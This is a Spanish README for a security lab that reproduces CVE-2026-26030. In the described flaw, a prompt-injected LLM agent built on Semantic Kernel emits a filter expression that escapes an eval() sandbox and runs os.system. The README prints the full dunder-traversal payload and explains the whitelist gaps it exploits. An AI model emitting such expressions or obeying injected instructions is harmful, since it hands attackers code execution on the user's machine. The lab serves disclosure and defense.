Ético, laboratorio Docker aislado de red que reproduce CVE-2026-26030 — RCE del filtro eval() del almacén de vectores en memoria de Semantic Kernel (corregido en 1.39.4)
eval() RCE en Semantic Kernel (laboratorio)Un laboratorio autocontenido que reproduce CVE-2026-26030: ejecución remota de código inyectable mediante el filtro de búsqueda en el almacén de vectores en memoria de Microsoft Semantic Kernel (Python, < 1.39.4).
Solo laboratorio ético. Aislado en virtualenvs dedicados; los payloads son inofensivos (
toucha un archivo marcador en el PoC sin interfaz;open -a Calculatoren la demostración con interfaz de usuario) y se ejecutan como tu propio usuario sin privilegios.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
Requiere python3.13 (ruedas para las dependencias numpy/scipy de SK). Sobrescribir con PYTHON=.
./run.sh # runs the same payload against both venvs
La salida vulnerable termina con RCE CONFIRMED; la salida parcheada rechaza el mismo payload con '__subclasses__' ... no está permitido.
OpsBot, un agente interno de base de conocimientos de ingeniería (Llama alojado en Groq mediante Semantic Kernel), expone una herramienta search_runbooks(team). Un atacante inyecta mediante prompt un valor team malicioso; el agente llama a la herramienta, el filtro vulnerable se ejecuta, y se abre una "nota de rescate" en TextEdit — mientras el agente informa los resultados del runbook, sin darse cuenta. El payload (open -e <note>) no es bloqueante y es inofensivo; la nota está pre-almacenada en /tmp/PWNED_by_CVE-2026-26030.txt.
La herramienta ejecuta la evaluación del filtro vulnerable genuino en un subproceso limpio (run_filter.py). Es una necesidad de macOS, no un truco: el propio fork() del servidor está envenenado por los hilos asíncronos de LLM/httpx + numpy/scipy, por lo que un lanzamiento de GUI desde ese proceso falla silenciosamente. El subproceso es la trayectoria exacta del código de CVE (_parse_and_validate_filter → ejecuta el lambda en un registro).
Nota: la separación en subproceso limpio es una peculiaridad de este entorno de demostración en macOS, no de la vulnerabilidad. En un agente desplegado en Linux, el
os.systemen el mismo proceso se dispara directamente — no se necesita subproceso.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
El mensaje del atacante está precargado en el cuadro de entrada; presiona Enviar.
Un agente expone una herramienta de búsqueda respaldada por InMemoryCollection. El LLM emite una cadena de expresión de filtro de la conversación (lambda x: x.team == 'platform'). Esa cadena es influenciable por el atacante — a través del prompt del usuario, o mediante texto inyectado en contenido recuperado/de la herramienta — y termina en _parse_and_validate_filter, que la compila (compile()) y evalúa (eval()) (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ se vacía, y primero se aplica una lista blanca de AST — por lo que esto es una evasión de sandbox, no una protección faltante. Dos brechas lo hacen evitable:
ast.Attribute no está restringido — no hay lista negra de dunder, por lo que el recorrido de dunder ().__class__.__base__.__subclasses__ está permitido.ast.Call solo inspecciona func cuando es un Name o Attribute. Cuando func es un Subscript (que sí está en la lista blanca), func_name permanece None y la verificación de función permitida se omite por completo.Por lo tanto, envolver cualquier invocable como [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) llama a cualquier cosa. Encadenado:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')
El func de cada llamada es un Subscript; cada paso de recorrido es un acceso de atributo simple. El índice (107) es la posición de BuiltinImporter en object.__subclasses__() — varía según la compilación de Python, por lo que exploit.py y la demostración lo calculan en tiempo de ejecución.
El parche agrega una lista negra de atributos peligrosos encima de la lista blanca, por lo que el recorrido de dunder se rechaza antes de eval:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
| archivo | propósito |
|---|---|
setup.sh | construye los dos entornos virtuales aislados (vulnerable + parcheado) |
run.sh | PoC sin interfaz gráfica en ambos entornos virtuales |
exploit.py | completo: colección real + filtro de búsqueda -> RCE |
find_sink.py | localiza el sumidero eval/compile en el paquete instalado |
probe.py | confirmación mínima solo con validador de la evasión |
demo-ui/app.py | agente FastAPI + SK + Groq; la herramienta vulnerable search_runbooks |
demo-ui/run_filter.py | ejecuta la evaluación del filtro genuino en un subproceso limpio (el fork() del servidor está envenenado) |
demo-ui/index.html | interfaz de chat; abre una nota de rescate en TextEdit en RCE |
La declaración más clara posible de la tesis de seguridad de agentes: no hay límite entre "datos" e "instrucciones". Un filtro que el modelo escribe a partir de una búsqueda en el runbook de un usuario se convierte en os.system. El sandbox existía — una lista blanca y __builtins__ vaciado — y aún así cayó ante una evasión de recorrido de atributos + llamada de subíndice. Jerarquía de mitigación que vale la pena mencionar en la publicación: no uses eval con salida del modelo en absoluto; si es necesario, restringe con una gramática cerrada, no con una lista blanca de nodos con acceso abierto a atributos; y aísla el trabajador (seccomp / sin red / sin privilegios) para que la ejecución de código no sea el fin del juego.